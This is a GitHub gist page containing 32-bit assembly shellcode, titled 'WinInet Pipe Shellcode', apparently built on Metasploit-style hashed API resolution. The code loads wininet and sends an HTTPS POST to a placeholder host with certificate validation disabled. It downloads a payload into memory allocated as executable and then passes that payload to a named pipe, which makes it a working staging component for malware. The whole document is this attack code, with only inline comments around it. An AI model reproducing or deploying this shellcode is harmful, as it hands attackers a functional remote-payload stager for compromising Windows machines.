Skip to content

Instantly share code, notes, and snippets.

@phikshun
Created May 29, 2012 03:08
Show Gist options
  • Save phikshun/2822272 to your computer and use it in GitHub Desktop.
Save phikshun/2822272 to your computer and use it in GitHub Desktop.
WinInet Pipe Shellcode
%define u(x) __utf16__(x)
[BITS 32]
[ORG 0]
cld
mov esi, esp ; ESI points to the current postion of the stack (for ref local var)
sub esp, 0x2000 ; Alloc some space on stack
call start
delta:
%include "block_api32.asm"
start:
pop ebp
load_wininet:
push 0x0074656e ; Push the bytes 'wininet',0 onto the stack.
push 0x696e6977 ; ...
push esp ; Push a pointer to the "wininet" string on the stack.
push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
call ebp ; LoadLibraryA( "wininet" )
internetopen:
xor edi,edi
push edi ; DWORD dwFlags
push edi ; LPCTSTR lpszProxyBypass
push edi ; LPCTSTR lpszProxyName
push edi ; DWORD dwAccessType (PRECONFIG = 0)
push byte 0 ; NULL pointer
push esp ; LPCTSTR lpszAgent ("\x00")
push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
call ebp
jmp short tri_get_server_host
internetconnect:
pop ebx ; Save the hostname pointer
xor ecx, ecx
push ecx ; DWORD_PTR dwContext (NULL)
push ecx ; dwFlags
push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
push ecx ; password
push ecx ; username
push dword 443 ; PORT
push ebx ; HOSTNAME
push eax ; HINTERNET hInternet
push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
call ebp
jmp get_server_uri
tri_get_server_host:
jmp short dbl_get_server_host
httpopenrequest:
pop ecx
push byte 0x0
push 0x54534f50 ; method = 'POST'
mov ebx, esp
xor edx, edx ; NULL
push edx ; dwContext (NULL)
push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags
;0x80000000 | ; INTERNET_FLAG_RELOAD
;0x04000000 | ; INTERNET_NO_CACHE_WRITE
;0x00800000 | ; INTERNET_FLAG_SECURE
;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
;0x00000200 ; INTERNET_FLAG_NO_UI
push edx ; accept types
push edx ; referrer
push edx ; version
push ecx ; url
push ebx ; method
push eax ; hConnection
push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
call ebp
mov esi, eax ; hHttpRequest
set_retry:
push byte 0x10
pop ebx
; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
set_security_options:
push 0x00003380
;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
mov eax, esp
push byte 4 ; sizeof(dwFlags)
push eax ; &dwFlags
push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
push esi ; hRequest
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
set_timeout:
push 0x000493e0 ; Timeout in ms (300 seconds)
mov eax, esp
push byte 4 ; sizeof(dwFlags)
push eax ; &dwFlags
; Below needs further testing... doesn't seem to work with 2, 5 or 6
push byte 5 ; DWORD dwOption ( INTERNET_OPTION_RECEIVE_TIMEOUT)
push esi ; hRequest
push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
call ebp
jmp short tri_get_params
httpsendrequest:
pop edi
mov edx, edi
xor ecx, ecx
xor eax, eax
not ecx
cld
repne scasb
not ecx
dec ecx
push ecx ; optional length
push edx ; optional
xor edi, edi
push edi ; dwHeadersLength
push edi ; headers
push esi ; hHttpRequest
push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
call ebp
test eax,eax
jnz short allocate_memory
try_it_again:
dec ebx
jz failure
jmp short set_security_options
dbl_get_server_host:
jmp get_server_host
get_server_uri:
jmp get_uri
failure:
jmp short host_unreachable
allocate_memory:
push byte 0x40 ; PAGE_EXECUTE_READWRITE
push 0x1000 ; MEM_COMMIT
push 0x00400000 ; Stage allocation (8Mb ought to do us)
push edi ; NULL as we dont care where the allocation is (zero'd from the prev function)
push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
download_prep:
xchg eax, ebx ; place the allocated base address in ebx
push ebx ; store a copy of the stage base address on the stack
push ebx ; temporary storage for bytes read count
mov edi, esp ; &bytesRead
download_more:
push edi ; &bytesRead
push 8192 ; read length
push ebx ; buffer
push esi ; hRequest
push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
call ebp
test eax,eax ; download failed? (optional?)
jz failure
mov eax, [edi]
add ebx, eax ; buffer += bytes_received
test eax,eax ; optional?
jnz download_more ; continue until it returns 0
pop eax ; clear the temporary storage
jmp start_pipe
host_unreachable:
mov ebx, esp
push 0x00525245
mov eax, esp
push eax
start_pipe:
jmp short get_pipe_name
tri_get_params:
jmp short dbl_get_params
open_pipe:
pop ecx ; store pipe name in ecx
xor eax, eax
push eax
push eax
push 0x03 ; OPEN_EXISTING
push eax
push eax
push 0x40000000 ; GENERIC_WRITE
push ecx ; \\.\pipe\foo
push 0x4FDAF6DA ; CreateFileA
call ebp
xor ecx, ecx ; check for errors...
sub ecx, 1
cmp eax, ecx
je error_found ; INVALID_HANDLE_VALUE = -1
pop esi ; put buffer pointer in esi
sub ebx, esi ; ebx should be end of the buffer - now = byte count
push byte 0x00
mov edi, esp
sub esp, 0x8 ; make room on stack for variable(s)
xor edx, edx
push edx ; NULL
push edi ; &dwBytesWritten
push ebx ; buffer size
push esi ; source buffer
push eax ; hFile
push 0x5BAE572D ; WriteFile
call ebp
error_found:
push byte 0 ; push the exit function parameter
push 0x6F721347 ; ntdll.dll!RtlExitUserThread
call ebp ; call EXITFUNK( 0 );
dbl_get_params:
jmp short get_params
get_pipe_name:
call open_pipe
pipe_name:
db '\\.\pipe\fooo', 0
get_server_host:
call internetconnect
server_host:
db "hostname", 0
times 21 db 0
get_uri:
call httpopenrequest
server_uri:
db '/12345', 0x00
times 8 db 0
get_params:
call httpsendrequest
server_params:
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment